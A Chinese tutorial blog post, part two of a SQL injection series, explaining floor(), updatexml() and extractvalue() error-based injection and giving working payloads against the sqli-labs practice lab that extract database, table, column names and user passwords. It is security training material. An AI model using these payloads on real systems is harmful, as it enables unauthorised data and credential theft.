SQL注入总结(二)

接着前边的,这篇的内容就是DNSlog盲注,报错注入,flase注入,有些不懂的东西可以看前面一篇。

报错注入

常用的三种注入 方法是floor()报错注入、updatexml()、extractvalue()。

其实这些注入的核心语句都是union注入的语句。只是在语法上有不同。

下边先说floor()报错注入。

在第一篇讲过。

rand()用于产生一个0~1的随机数。

floor()向下取整。

group by是根据一个或多个列对结果集进行分组的sql语句,其用法为:
SELECT column_name, aggregate_function(column_name)
FROM table_name
WHERE column_name operator value
GROUP BY column_name;

       报错原理是在这张虚拟表中,group by后面的字段作为主键,所以这张表中主键是name,这样我们就基本弄清报错的原因了,其原因主要是因为虚拟表的主键重复。按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。

        floor(rand(0)*2)报错的原理是恰恰是由于它的确定性,因为floor(rand()*2)不加随机因子的时候是随机出错的,而在3条记录以上用floor(rand(0)*2)就一定报错,由此可猜想floor(rand()*2)是比较随机的,不具备确定性因素,而floor(rand(0)*2)具备某方面的确定性。

updatexml()报错

updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值
 

updatexml的爆错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串。当我们输入的内容不符合,产生报错。

语句也十分简单。

下边以sqli-lib第一关为例

?id=1'and(select updatexml(1,concat('~',(select database())),1))--+

得到数据库之后,继续查看表。

'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))--+

 接下来就是爆列。

'and(select updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name="users" limit 1,1)),0x7e))--+

在这因为他的字符串比较多,显示不全,所以我用了limit 将他们分别输出。

 同样爆内容的时候,也是这样。

'and(select updatexml(1,concat(0x7e,(select password from security.users limit 1,1)),0x7e))--+

extractvalue报错注入

extractvalue函数
extractvalue(xml_document,Xpath_string)

第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串

第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错。这个其实跟updatexml()没啥区别,都一个d样。

下边以sqli-lib第一关为例

'and(select extractvalue(1,concat('~',(select database()))))

 成功爆出了数据库。

剩下的步骤各位自行脑补吧。。。(此处省略xxx字)

搜索注入

没时间写先烂着尾吧...

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值